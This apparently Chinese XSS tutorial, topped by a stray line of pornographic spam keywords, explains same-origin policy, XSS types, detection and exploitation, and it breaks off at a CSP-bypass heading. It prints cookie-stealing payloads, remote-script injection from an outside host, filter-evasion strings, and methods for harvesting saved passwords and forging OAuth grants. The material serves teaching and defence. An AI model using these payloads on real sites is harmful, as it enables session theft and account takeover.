宅男在线永久免费观看网直播,亚洲欧洲日产国码无码久久99,野花社区在线观看视频,亚洲人交乣女bbw,一本一本久久a久久精品综合不卡

全部
常見(jiàn)問(wèn)題
產(chǎn)品動(dòng)態(tài)
精選推薦

XSS知識(shí)總結(jié)

管理 管理 編輯 刪除

XSS基礎(chǔ)

跨站腳本(英語(yǔ):Cross-site scripting,通常簡(jiǎn)稱為:XSS)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網(wǎng)頁(yè)上,其他用戶在觀看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類攻擊通常包含了HTML以及用戶端腳本語(yǔ)言。

XSS攻擊通常指的是通過(guò)利用網(wǎng)頁(yè)開(kāi)發(fā)時(shí)留下的漏洞,通過(guò)巧妙的方法注入惡意指令代碼到網(wǎng)頁(yè),使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁(yè)程序。這些惡意網(wǎng)頁(yè)程序通常是JavaScript,但實(shí)際上也可以包括Java,VBScript,ActiveX,F(xiàn)lash或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁(yè)內(nèi)容、會(huì)話和cookie等各種內(nèi)容。

同源策略

同源策略是指在Web瀏覽器中,允許某個(gè)網(wǎng)頁(yè)腳本訪問(wèn)另一個(gè)網(wǎng)頁(yè)的數(shù)據(jù),但前提是這兩個(gè)網(wǎng)頁(yè)必須有相同的URI、主機(jī)名和端口號(hào),一旦兩個(gè)網(wǎng)站滿足上述條件,這兩個(gè)網(wǎng)站就被認(rèn)定為具有相同來(lái)源。此策略可防止某個(gè)網(wǎng)頁(yè)上的惡意腳本通過(guò)該頁(yè)面的文檔對(duì)象模型訪問(wèn)另一網(wǎng)頁(yè)上的敏感數(shù)據(jù)。

同源策略對(duì)Web應(yīng)用程序具有特殊意義,因?yàn)閃eb應(yīng)用程序廣泛依賴于HTTP cookie來(lái)維持用戶會(huì)話,所以必須將不相關(guān)網(wǎng)站嚴(yán)格分隔,以防止丟失數(shù)據(jù)泄露。

值得注意的是同源策略僅適用于腳本,這意味著某網(wǎng)站可以通過(guò)相應(yīng)的HTML標(biāo)簽訪問(wèn)不同來(lái)源網(wǎng)站上的圖像、CSS和動(dòng)態(tài)加載腳本等資源。而跨站請(qǐng)求偽造就是利用同源策略不適用于HTML標(biāo)簽的缺陷。

舉例:

fd93520230425175057188.png

跨域方法總結(jié)

HTML標(biāo)簽

<script> 等帶src屬性的標(biāo)簽都可以跨域加載資源,而不受同源策略的限制。每次加載時(shí)都會(huì)由瀏覽器發(fā)送一次GET請(qǐng)求,通過(guò)src屬性加載的資源,瀏覽器會(huì)限制JavaScript的權(quán)限,使其不能讀寫(xiě)返回的內(nèi)容。

常見(jiàn)標(biāo)簽:

<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>
document.domain

原理:相同主域名不同子域名下的頁(yè)面,可以設(shè)置document.domain讓它們同域

我們只需要在跨域的兩個(gè)頁(yè)面中設(shè)置document.domain就可以了。修改document.domain的方法只適用于不同子域的框架間的交互,要載入iframe頁(yè)面。

例如:

在頁(yè)面 http://a.example.com/a.html 設(shè)置document.domain

<iframe id = "iframe" src="http://b.example.com/b.html" onload = "test()"></iframe>
<script type="text/javascript">
    document.domain = 'example.com';//設(shè)置成主域
    function test(){
        alert(document.getElementById('?iframe').contentWindow);//contentWindow 可取得子窗口的 window 對(duì)象
    }
</script>

2、在頁(yè)面http:// b.example.com/b.html 中設(shè)置document.domain

<script type="text/javascript">
    document.domain = 'example.com';//在iframe載入這個(gè)頁(yè)面也設(shè)置document.domain,使之與主頁(yè)面的document.domain相同
</script>

Window.name

在javascript中,Window 對(duì)象表示瀏覽器中打開(kāi)的窗口,而name屬性可設(shè)置或返回存放窗口的名稱的一個(gè)字符串。

window.name有一個(gè)奇妙的性質(zhì),頁(yè)面如果設(shè)置了window.name,那么在不關(guān)閉頁(yè)面的情況下,即使進(jìn)行了頁(yè)面跳轉(zhuǎn)location.href=…,這個(gè)window.name還是會(huì)保留。

利用window.name的性質(zhì),我們可以在iframe中加載一個(gè)跨域頁(yè)面。

這個(gè)頁(yè)面載入之后,讓它設(shè)置自己的window.name,然后再讓它進(jìn)行當(dāng)前頁(yè)面的跳轉(zhuǎn),跳轉(zhuǎn)到與iframe外的頁(yè)面同域的頁(yè)面,此時(shí)window.name是不會(huì)改變的。

這樣,iframe內(nèi)外就屬于同一個(gè)域了,且window.name還是跨域的頁(yè)面所設(shè)置的值。

假設(shè)我們有3個(gè)頁(yè)面,

a.com/index.html
a.com/empty.html
b.com/index.html

(1)在a.com/index.html 頁(yè)面中嵌入一個(gè)iframe,設(shè)置src為b.com/index.html

(2)b.com/index.html 載入后,設(shè)置window.name,然后再使用location.href='a.com/empty.html’跳轉(zhuǎn)到與iframe外頁(yè)面同域的頁(yè)面中。

(3)在a.com/index.html 頁(yè)面中,就可以通過(guò)$(‘iframe’).contentWindow.name來(lái)獲取iframe內(nèi)頁(yè)面a.com/empty.html 的window.name值了,而這個(gè)值正是b.com/index.html 設(shè)置的。

window.postMessage

window.postMessage(message, targetOrgin)方法是html5新引進(jìn)的特性。

調(diào)用postMessage方法的window對(duì)象是指要接受消息的哪一個(gè)window對(duì)象,該方法的第一個(gè)參數(shù)message為要發(fā)送的消息,類型只能為字符串;第二個(gè)參數(shù)targetOrgin用來(lái)限定接收消息的那個(gè)window對(duì)象所在的域,如果不想限定域,可以使用通配符*。

需要接收消息的window對(duì)象,可是通過(guò)監(jiān)聽(tīng)自身的message時(shí)間來(lái)獲取傳過(guò)來(lái)的消息,消息內(nèi)容存儲(chǔ)在該事件對(duì)象的data屬性中。

location.hash

location.hash 方式跨域,是子框架具有修改父框架 src 的 hash 值,通過(guò)這個(gè)屬性進(jìn)行傳遞數(shù)據(jù),且更改 hash 值,頁(yè)面不會(huì)刷新。但是傳遞的數(shù)據(jù)的字節(jié)數(shù)是有限的。

詳細(xì)參考:https://xz.aliyun.com/t/224#toc-3

a.html欲與b.html跨域相互通信,通過(guò)中間頁(yè)c.html來(lái)實(shí)現(xiàn)。 三個(gè)頁(yè)面,不同域之間利用iframe的location.hash傳值,相同域之間直接js訪問(wèn)來(lái)通信。

具體實(shí)現(xiàn)步驟:一開(kāi)始a.html給b.html傳一個(gè)hash值,然后b.html收到hash值后,再把hash值傳遞給c.html,最后c.html將結(jié)果放到a.html的hash值中。

6325e202304251753405562.png

JSONP跨域

原理:

<script type="text/javascript">
    function dosomething(jsondata){
        //處理獲得的json數(shù)據(jù)
    }
</script>
<script src="http://haorooms.com/data.php?callback=dosomething"></script>

后臺(tái)代碼:

<?php
$callback = $_GET['callback'];//得到回調(diào)函數(shù)名
$data = array('a','b','c');//要返回的數(shù)據(jù)
echo $callback.'('.json_encode($data).')';//輸出
?>

跨域資源共享(CORS)

原理:服務(wù)器設(shè)置Access-Control-Allow-Origin HTTP響應(yīng)頭之后,瀏覽器將會(huì)允許跨域請(qǐng)求

CORS是HTML5標(biāo)準(zhǔn)提出的跨域資源共享(Cross Origin Resource Share),支持GET、POST等所有HTTP請(qǐng)求。CORS需要服務(wù)器端設(shè)置Access-Control-Allow-Origin頭,否則瀏覽器會(huì)因?yàn)榘踩呗詳r截返回的信息。

Access-Control-Allow-Origin: * # 允許所有域名訪問(wèn),或者
Access-Control-Allow-Origin: http://a.com # 只允許所有域名訪問(wèn)

CORS又分為簡(jiǎn)單跨域和非簡(jiǎn)單跨域請(qǐng)求,有關(guān)CORS的詳細(xì)介紹請(qǐng)看阮一峰的跨域資源共享 CORS 詳解,里面講解的非常詳細(xì)。

CSP-內(nèi)容安全策略

CSP(Content Security Policy)即內(nèi)容安全策略,為了緩解很大一部分潛在的跨站腳本問(wèn)題,瀏覽器的擴(kuò)展程序系統(tǒng)引入了內(nèi)容安全策略(CSP)的一般概念。這將引入一些相當(dāng)嚴(yán)格的策略,會(huì)使擴(kuò)展程序在默認(rèn)情況下更加安全,開(kāi)發(fā)者可以創(chuàng)建并強(qiáng)制應(yīng)用一些規(guī)則,管理網(wǎng)站允許加載的內(nèi)容。

CSP的實(shí)質(zhì)就是白名單機(jī)制,對(duì)網(wǎng)站加載或執(zhí)行的資源進(jìn)行安全策略的控制。

關(guān)于CSP繞過(guò),在下面的XSS Bypass - CSP繞過(guò)板塊中有所介紹。

XSS分類及對(duì)比

最常見(jiàn)的三種分類:

反射型(非持久型)
存儲(chǔ)型(持久型)
DOM型

反射型
反射型XSS只是簡(jiǎn)單的把用戶輸入的數(shù)據(jù)從服務(wù)器反射給用戶瀏覽器,要利用這個(gè)漏洞,攻擊者必須以某種方式誘導(dǎo)用戶訪問(wèn)一個(gè)精心設(shè)計(jì)的URL(惡意鏈接),才能實(shí)施攻擊。

舉例來(lái)說(shuō),當(dāng)一個(gè)網(wǎng)站的代碼中包含類似下面的語(yǔ)句,

<?php echo "<p>hello,$_GET['user']</p>"; ?>

那么在訪問(wèn)時(shí)設(shè)置

xxxxxx/?user=</p><script>alert("hack")</script><p>

則可執(zhí)行預(yù)設(shè)好的JavaScript代碼。

漏洞成因
當(dāng)用戶的輸入或者一些用戶可控參數(shù)未經(jīng)處理地輸出到頁(yè)面上,就容易產(chǎn)生XSS漏洞。主要場(chǎng)景有以下幾種:

1、將不可信數(shù)據(jù)插入到HTML標(biāo)簽之間時(shí),例如DIV, P, TD;

2、將不可信數(shù)據(jù)插入到HTML屬性里時(shí),形如:

<div width=$INPUT> …content… </div>

3、將不可信數(shù)據(jù)插入到SCRIPT里時(shí),如下:

<script>
var message = ” $INPUT “;
</script>

4、還有插入到Style屬性里的情況,同樣具有一定的危害性

<span style=” property : $INPUT ”> … </span>

5、將不可信數(shù)據(jù)插入到HTML URL里時(shí),形如:

<a href=”http://www.abcd.com?param= $INPUT ”> Link Content </a>

6、使用富文本時(shí),沒(méi)有使用XSS規(guī)則引擎進(jìn)行編碼過(guò)濾。

對(duì)于以上的幾個(gè)場(chǎng)景,若服務(wù)端沒(méi)有做好防范措施,就會(huì)出現(xiàn)漏洞隱患。

利用方式
反射型攻擊流程:

7789d202304251758118717.png

DOM型
通過(guò)修改頁(yè)面的DOM節(jié)點(diǎn)形成的XSS,稱之為DOM Based XSS

例如這么一個(gè)頁(yè)面:

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

在這段代碼中,submit按鈕的onclick事件調(diào)用了xsstest()函數(shù)。而在xsstest()中,修改了頁(yè)面的DOM節(jié)點(diǎn),通過(guò)innerHTML把一段用戶數(shù)據(jù)當(dāng)作HTML寫(xiě)入到頁(yè)面中,造成了DOM Based XSS。

當(dāng)用戶輸入: x’ οnerrοr=’javascript:alert(/xss/) ,代碼就變成了:

<img src='x' onerror='javascript:alert(/xss/)'></img>

最后腳本被執(zhí)行,出現(xiàn)彈窗。

前面兩種惡意腳本都會(huì)經(jīng)過(guò)服務(wù)器端然后返回給客戶端,相對(duì)DOM型來(lái)說(shuō)比較好檢測(cè)與防御,而DOM型不用將惡意腳本傳輸?shù)椒?wù)器在返回客戶端,即DOM型XSS一般和服務(wù)器的解析響應(yīng)沒(méi)有直接的關(guān)系,而是在JavaScript腳本動(dòng)態(tài)執(zhí)行的過(guò)程中產(chǎn)生的。

兩個(gè)典型的DOM過(guò)程

1)反射型DOM base XSS

7813b202304251800141153.png

2)存儲(chǔ)型DOM base XSS

29185202304251800416751.png

DOM XSS的利用
確定基于DOM型的XSS漏洞,一種有效的方法是,檢查所有客戶端JavaScript,看其中是否使用任何可能會(huì)導(dǎo)致漏洞的DOM屬性。

檢查每一段客戶端JavaScript,看其中是否出現(xiàn)以下API,它們可用于訪問(wèn)通過(guò)一個(gè)專門(mén)設(shè)計(jì)的URL控制的DOM數(shù)據(jù);

 document.location
 document.URL
 document.URLUnencoded
 document.referrer
 window.location

在每一個(gè)使用上述API的位置,仔細(xì)檢查那里的代碼,確定應(yīng)用程序如何處理用戶可控的數(shù)據(jù);以及是否可以使用專門(mén)設(shè)計(jì)的輸入來(lái)執(zhí)行JavaScript。

尤其注意檢查并測(cè)試控制的數(shù)據(jù)被傳送至以下任何一個(gè)API的情況:

document.write()
document.writeln()
document.body.innerHtml eval()
window.execScript()
window.setInterval()
window.setTimeout()

其它類型
mXSS
mXSS中文是突變型XSS,指的是原先的Payload提交是無(wú)害不會(huì)產(chǎn)生XSS,而由于一些特殊原因,如反編碼等,導(dǎo)致Payload發(fā)生變異,導(dǎo)致的XSS。
mXSS圖解:

025e220230425180317948.png

其中由于innerHTML會(huì)將HTML實(shí)體,CSS轉(zhuǎn)義字符,ANSI編碼等進(jìn)行反轉(zhuǎn)義,因此原來(lái)被轉(zhuǎn)義之后認(rèn)為安全的用戶輸入很有可能在繞過(guò)過(guò)濾器之后被反轉(zhuǎn)回去。

下面的漏洞是存在于以前版本的PC的QQ客戶端的頁(yè)面預(yù)覽功能。

cf399202304251804025344.png

這是博客園提交的一篇文章,可以看到,提交的XSS Payload已經(jīng)被轉(zhuǎn)義了,不產(chǎn)生危害。

02e91202304251804464658.png

ae71a202304251805326268.png

上圖是在QQ客戶端里分享上面的博客園那篇文章的鏈接,而QQ存在網(wǎng)址預(yù)覽功能,于是點(diǎn)擊網(wǎng)址可以在右側(cè)顯示出優(yōu)化后的頁(yè)面的內(nèi)容,就導(dǎo)致了XSS的產(chǎn)生;這個(gè)預(yù)覽功能實(shí)際上是QQ客戶端內(nèi)嵌了一個(gè)網(wǎng)頁(yè),這個(gè)頁(yè)面對(duì)原網(wǎng)頁(yè)內(nèi)容進(jìn)行提取和處理的過(guò)程中,將原本無(wú)害的XSS Payload進(jìn)行了轉(zhuǎn)碼操作,于是導(dǎo)致了Payload 變異而產(chǎn)生了XSS。

uXSS

UXSS全稱Universal Cross-Site Scripting,翻譯過(guò)來(lái)就是通用型XSS,也叫Universal XSS。UXSS是一種利用瀏覽器或者瀏覽器擴(kuò)展漏洞來(lái)制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。UXSS 可以理解為Bypass 同源策略。

常見(jiàn)的XSS攻擊的是因?yàn)榭蛻舳嘶蚍?wù)端的代碼開(kāi)發(fā)不嚴(yán)謹(jǐn)?shù)葐?wèn)題而存在漏洞的目標(biāo)網(wǎng)站或者應(yīng)用程序。這些攻擊的先決條件是頁(yè)面存在漏洞,而它們的影響往往也圍繞著漏洞頁(yè)面本身的用戶會(huì)話。換句話說(shuō),因?yàn)闉g覽器的安全功能的影響,XSS攻擊只能讀取受感染的會(huì)話,而無(wú)法讀取其他的會(huì)話信息,也就是同源策略的影響。

UXSS保留了基本XSS的特點(diǎn),利用漏洞,執(zhí)行惡意代碼,但是有一個(gè)重要的區(qū)別:

不同于常見(jiàn)的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴(kuò)展漏洞來(lái)制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。

漏洞挖掘/檢測(cè)

Fuzzing技術(shù)

Fuzzing(模糊測(cè)試)是挖掘漏洞最常用的手段之一,不止是XSS,應(yīng)該可以說(shuō)Fuzzing可以用于大部分類型的漏洞挖掘。通俗可以把這種方式理解為不斷嘗試的過(guò)程。

Fuzzing流程圖(出處):

d2e9a202304251808386118.png

XSS fuzzing技術(shù) 推薦閱讀:https://www.fooying.com/the-art-of-xss-2-xss-fuzzing/

代碼審計(jì)

XSS數(shù)據(jù)源
即可以由外部(不受信任)源控制的輸入點(diǎn):

URL

location

location.pathname

location.search

location.hash

document.URL

document.documentURI

document.baseURI

Navigation

window.name

document.referer

Communication

Ajax

Fetch

WebSocket

PostMessage

Storage

Cookie

LocalStorage

SessionStotage

論壇文章:通過(guò)代碼審計(jì)找出網(wǎng)站中的XSS漏洞實(shí)戰(zhàn)

XSS的利用

利用XSS竊取cookie
竊取cookie是xss利用最常見(jiàn)的手段,攻擊者有了cookie就相當(dāng)于擁有了“管理員”身份。通常需要配合x(chóng)ss平臺(tái)來(lái)進(jìn)行攻擊,當(dāng)被攻擊者訪問(wèn)到有惡意代碼的頁(yè)面,他的cookie就會(huì)被發(fā)送到xss平臺(tái)。

常用獲取cookie的js代碼如下:

<img src="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>

其中本地的XSS_cookie.php中的內(nèi)容如下:

71a47202304251810029637.png

XSS修改網(wǎng)頁(yè)
該利用方式的前提是網(wǎng)站必須存在存儲(chǔ)型xss漏洞,并且會(huì)將結(jié)果返回到頁(yè)面上。我們可以在源碼中插入一段js代碼,作用在于獲取網(wǎng)站源碼中的標(biāo)簽,然后修改其中的屬性值,達(dá)到修改網(wǎng)頁(yè)的效果。也可以構(gòu)造彈窗等誘導(dǎo)被攻擊者輸入賬號(hào)密碼等關(guān)鍵信息。

XSS獲取用戶信息

利用xss除了能夠獲取用戶cookie,還能獲取諸如瀏覽器版本、外網(wǎng)IP地址、瀏覽器安裝的插件類型等信息。比如alert(navigator.userAgent); 能夠讀取userAgent內(nèi)容;利用java環(huán)境,調(diào)用java Applet的接口獲取客戶端本地ip等。

XSS+CSRF 組合拳

組合拳思路

存儲(chǔ)型 XSS + CSRF(存儲(chǔ)型 XSS 攻擊代碼中加入 CSRF 代碼鏈接)

存儲(chǔ)型XSS + CSRF

其中存儲(chǔ)型xss payload:

<script src="x" οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>

可知該javascript腳本會(huì)打開(kāi)http://localhost/csrf.html的窗口。我們可以通過(guò)csrf利用工具生成隱匿的惡意csrf.html文件,再通過(guò)存儲(chǔ)型xss模擬用戶訪問(wèn)該頁(yè)面,最終達(dá)成在用戶不知不覺(jué)的情況下執(zhí)行跨站請(qǐng)求的操作。

盲打XSS(Blind XSS)

成因

常規(guī)的XSS攻擊是通過(guò)頁(yè)面返回內(nèi)容中JS攻擊代碼的生效與否來(lái)判斷XSS的攻擊是否成功;而對(duì)于一些網(wǎng)頁(yè)功能,比如反饋,我們可以發(fā)現(xiàn),不管你提交什么內(nèi)容,返回的內(nèi)容都是”感謝您的反饋”類似的語(yǔ)句,并不會(huì)根據(jù)你提交的內(nèi)容而在頁(yè)面中顯示不同的內(nèi)容,對(duì)于這樣的內(nèi)容提交點(diǎn),就無(wú)法通過(guò)頁(yè)面反饋判斷攻擊代碼是否注入成功,那么就可以通過(guò)XSS盲打。

Blind XSS 是一種持久型的XSS,依靠目標(biāo)web頁(yè)面的代碼中的漏洞,允許惡意代碼插入到web控件中,被服務(wù)器存儲(chǔ)到數(shù)據(jù)庫(kù)或者網(wǎng)站設(shè)置文件中。這些惡意代碼將被作為HTML響應(yīng)頁(yè)面的一部分向其他用戶提供服務(wù),而不會(huì)被檢測(cè)。

常見(jiàn)場(chǎng)景

盲打XSS的常見(jiàn)目標(biāo):登錄表單及論壇/留言板

登錄表單經(jīng)常從網(wǎng)頁(yè)接收輸入的用戶名,并將它保存到一個(gè)之后可以被查看的日志文件中。因此,一次在登錄表單的“用戶名”模塊輸入惡意代碼后的失敗的登錄,將會(huì)導(dǎo)致服務(wù)器將輸入保存到日志中,這樣日志中就將惡意代碼當(dāng)做“用戶名”保存。攻擊者可以執(zhí)行一些這樣的登錄嘗試,為了將惡意代碼傳入到日志數(shù)據(jù)庫(kù)中或日志文件中。當(dāng)管理員通過(guò)web的形式瀏覽日志時(shí),惡意代碼就會(huì)被執(zhí)行。

類似于之前的場(chǎng)景,攻擊者也可以在論壇或留言板的主題標(biāo)題中插入惡意代碼。服務(wù)器通常會(huì)將它們提交的數(shù)據(jù)保存到數(shù)據(jù)庫(kù)中,并且存儲(chǔ)的信息對(duì)其他人可見(jiàn),比如版主等。

利用

XSS盲打一般通過(guò)XSS盲打平臺(tái),在XSS盲打平臺(tái)建立項(xiàng)目,會(huì)生成項(xiàng)目攻擊鏈接,實(shí)際上就是一個(gè)類似JS文件的訪問(wèn)鏈接,這個(gè)JS文件中其中至少包含一個(gè)功能,那就是向盲打平臺(tái)發(fā)送GET/POST請(qǐng)求傳輸數(shù)據(jù)回來(lái),比如Cookie,這樣的話,類似在反饋?lái)?yè)面提交的攻擊代碼一旦生效,就等于JS代碼被執(zhí)行,那么就會(huì)向盲打平臺(tái)返回?cái)?shù)據(jù),那就說(shuō)明攻擊成功了;假如一直沒(méi)有返回?cái)?shù)據(jù),那就說(shuō)明提交的攻擊代碼沒(méi)有執(zhí)行或者執(zhí)行出問(wèn)題,也就證明攻擊失敗。

盲打平臺(tái)的項(xiàng)目:
a879820230425181238857.png

開(kāi)啟HttpOnly下的利用

HttpOnly概念:HttpOnly是Set-Cookie HTTP響應(yīng)頭中包含的附加標(biāo)志。生成cookie時(shí)使用HttpOnly標(biāo)志有助于降低客戶端腳本訪問(wèn)受保護(hù)cookie的風(fēng)險(xiǎn)(如果瀏覽器支持它)。如果HTTP響應(yīng)頭中包含HttpOnly標(biāo)志,客戶端腳本就無(wú)法訪問(wèn)cookie。因此,即使存在跨站點(diǎn)腳本(XSS)缺陷,且用戶意外訪問(wèn)利用此漏洞的鏈接,瀏覽器也不會(huì)向第三方透露cookie。那么我們可以通過(guò)XSS直接在源站上完成操作,不直接獲取cookie。

1.phpinfo頁(yè)

偽造對(duì)方身份訪問(wèn)同站的phpinfo頁(yè)面,因?yàn)橥蛩酝ㄟ^(guò)ajax提交訪問(wèn)可以讀取到responseText,其中$_SERVER[“HTTP_COOKIE”]會(huì)打印出具有httponly屬性的cookies。

優(yōu)點(diǎn):成功率很高,最不容易被察覺(jué),也是最常用的一種方式。

缺點(diǎn):需要phpinfo頁(yè),條件苛刻。

2.框架釣魚(yú)

通過(guò)標(biāo)簽嵌入一個(gè)遠(yuǎn)程域,完全撐開(kāi)后,以覆蓋原有的頁(yè)面。

優(yōu)點(diǎn):無(wú)跳轉(zhuǎn),域名無(wú)改變。

缺點(diǎn):通常會(huì)覆蓋某個(gè)正常的頁(yè)面,管理員易察覺(jué)。

3.跳轉(zhuǎn)釣魚(yú)

通過(guò)購(gòu)買相似域名,構(gòu)建相同的釣魚(yú)頁(yè)面,使受害者跳轉(zhuǎn)至釣魚(yú)站。

優(yōu)點(diǎn):主動(dòng)性較強(qiáng),可主動(dòng)釣魚(yú)。

缺點(diǎn):成本較高,且由于頁(yè)面跳轉(zhuǎn)過(guò)于明顯,所以此方法十分容易被發(fā)現(xiàn)。

4.歷史密碼

通過(guò)js偽造登錄表單,欺騙瀏覽器自動(dòng)填入,由此獲取瀏覽器記住的歷史密碼。

優(yōu)點(diǎn):不易被發(fā)現(xiàn),可直接獲取明文,成功率較高。

缺點(diǎn):各內(nèi)核瀏覽器兼容性不一,最新版google已不支持http協(xié)議下的自動(dòng)填入功能。

5.獲取源碼

通過(guò)xss獲取后端頁(yè)面源碼,常??梢园l(fā)現(xiàn)一些越權(quán)訪問(wèn),或者配合CSRF打組合拳去添加新用戶或者執(zhí)行其他的功能,以及通過(guò)審計(jì)后臺(tái)js發(fā)現(xiàn)一些漏洞等。

優(yōu)點(diǎn):信息獲取的比較詳細(xì),也可以獲取到后臺(tái)賬號(hào)名稱。

缺點(diǎn):局限性較大,不易于利用。

6.通過(guò)xss偽造oauth等授權(quán)請(qǐng)求,遠(yuǎn)程登錄

推薦閱讀:sourse

Oauth簡(jiǎn)介

Oauth這種機(jī)制允許第三方獲取用戶賬戶的長(zhǎng)期訪問(wèn)權(quán)限,之前已經(jīng)有攻擊者濫用過(guò)該機(jī)制,誘騙用戶點(diǎn)擊授權(quán)按鈕。 授權(quán)第三方應(yīng)用后,用戶可以為第三方應(yīng)用提供一個(gè)長(zhǎng)期可用的令牌,第三方應(yīng)用可以通過(guò)不同方式,利用該令牌訪問(wèn)用戶賬戶。這是在cookie受保護(hù)的情況下,攻擊者能夠長(zhǎng)期有效、不受限制、隱蔽地訪問(wèn)受害者賬戶的方法。

由于我們能以用戶的身份執(zhí)行一些操作(無(wú)cookie情況下),那么只要Oauth的授權(quán)頁(yè)面與XSS點(diǎn)同源,那么就能以用戶的身份安裝Oauth應(yīng)用。

其它

xss的利用方式多種多樣,遠(yuǎn)不止以上的幾種,比方說(shuō)還能夠利用XSS+CSRF組合拳來(lái)添加管理員、利用html5的canvas來(lái)截取客戶的屏幕,還有針對(duì)移動(dòng)端的xss攻擊等。思路有很多,此處便不展開(kāi)討論了。

網(wǎng)站推薦:http://www.xss-payloads.com/

XSS payload

總結(jié)再多不如給個(gè)github鏈接[dog]:

PayloadsAllTheThings/XSS Injection

xss-payload-list

XSS Filter Evasion Cheat Sheet | OWASP

以及:

2020年仍然有效的一些XSS Payload

XSS Bypass

常規(guī)的繞過(guò)

xss繞過(guò)防御通過(guò)構(gòu)造特殊的payload來(lái)達(dá)成目標(biāo),方法主要有以下幾種:

轉(zhuǎn)換大小寫(xiě)
大小寫(xiě)混寫(xiě)

<ImG sRc=x onerRor=alert("xss");>
<ImG sRc=x onerRor=alert("xss");>

雙引號(hào)改單引號(hào)
引號(hào)改為/,用/代替空格

<img/src="x"/οnerrοr=alert("xss");>

用全角字符
利用link遠(yuǎn)程包含js文件
在無(wú)CSP的情況下才可以

<link rel=import >

字符拼接
a.利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

b.利用top

<script>top["al"+"ert"](`xss`);</script>

使用javascript偽協(xié)議
使用回車、空格等特殊字符
在css的style中使用/**/注釋符
使用字符編碼
HTML編碼 十六/八進(jìn)制編碼 base64編碼 ASCII編碼 HEX編碼繞過(guò) Unicode編碼

以下標(biāo)簽屬性值可以被編碼:

javascript
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

字符集

有時(shí)可用一些非標(biāo)準(zhǔn)編碼繞開(kāi)過(guò)濾器

UTF-7、US-ASCII、UTF-16

利用事件觸發(fā)xss
以上多數(shù)是存在過(guò)濾情況下的bypass方法,可以結(jié)合XSS payload下的內(nèi)容一起學(xué)習(xí)。
長(zhǎng)度限制的繞過(guò)

1.eval(name)

這可能是一個(gè)可以執(zhí)行任意javascript的最短的有效負(fù)載。name屬性可以被分配任何代碼,并且也繼承了跨域。這給了我們一個(gè)好處,使我們可以不受任何限制地執(zhí)行任何payload,除非頁(yè)面重寫(xiě)name。

POC: https://attacker.cm2.pw/?xss=name=“d=document;s=d.createElement(‘script’);s.src=’//cm2.pw’;d.body.appendChild(s)”;open(’//victim.cm2.pw/?xss=

Payload 長(zhǎng)度:

‘javascript:eval(name)’.length==21

2.import

這是獲取外部javascript的另一個(gè)最短的payload,但是只能在基于Chromium的瀏覽器上工作。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:import(//?.?/))

Payload 長(zhǎng)度:

 'javascript:import(/\?.?/)'.length==24

3.$.getsc ript

這是一個(gè)非常有名的jQuery函數(shù),用來(lái)加載外部javascript。在全局上下文中獲取并執(zhí)行腳本,就像script標(biāo)簽加載的一樣。但是,這要求jQuery已經(jīng)在頁(yè)面中加載。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:$.getsc ript(//cm2.pw/))

Payload 長(zhǎng)度:

 'javascript:$.getsc ript(/\?.?/)'.length==29

4.$.get

這是另一個(gè)jQuery函數(shù),如果返回的Content類型設(shè)置為text/javascript,則該函數(shù)可以加載和執(zhí)行外部ja vasc ript。這實(shí)際上是一個(gè)僅在jQuery 3.0.0之前能生效的漏洞。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:$.get(//cm2.pw/))

Payload 長(zhǎng)度:

 'javascript:$.get(/\?.?/)'.length==23

使用現(xiàn)有元素和/或?qū)傩?/p>

找到由用戶部分或完全控制的HTML元素和ja vasc ript屬性值并不罕見(jiàn)。雖然這可能需要花費(fèi)一些時(shí)間,但是當(dāng)插入的XSS長(zhǎng)度受限時(shí),它可以提供巨大的幫助。例如,大多數(shù)Ajax驅(qū)使應(yīng)用存儲(chǔ)hash標(biāo)識(shí)符以便于導(dǎo)航。

如果頁(yè)面存儲(chǔ)hash如下;

 const hash = document.location.hash;

我們可以用它來(lái)加載外部腳本;

 eval("'"+hash)

POC:

https://victim.cm2.pw/?xss=const hash=document.location.hash;[Click](https://nosec.org/home/detail/ja vasc ript:eval(`'`%2bhash))#';d=document;s=d.createElement('sc ript');s.src='//cm2.pw';d.body.appendChild(s)

   Payload 長(zhǎng)度:

`ja vasc ript:eval("'"+hash)`.length==25

還有些無(wú)現(xiàn)成案例的繞過(guò)方法,可以參考:https://nosec.org/home/detail/2032.html

CSP(內(nèi)容安全策略)繞過(guò)
Content Security Policy (CSP)內(nèi)容安全策略,是一個(gè)附加的安全層,有助于檢測(cè)并緩解某些類型的攻擊,包括跨站腳本(XSS)和數(shù)據(jù)注入攻擊。

CSP的特點(diǎn)就是它是在瀏覽器層面做的防護(hù),是和同源策略同一級(jí)別,除非瀏覽器本身出現(xiàn)漏洞,否則不可能從機(jī)制上繞過(guò)。

CSP只允許被認(rèn)可的JS塊、JS文件、CSS等解析,只允許向指定的域發(fā)起請(qǐng)求。

利用頁(yè)面預(yù)加載

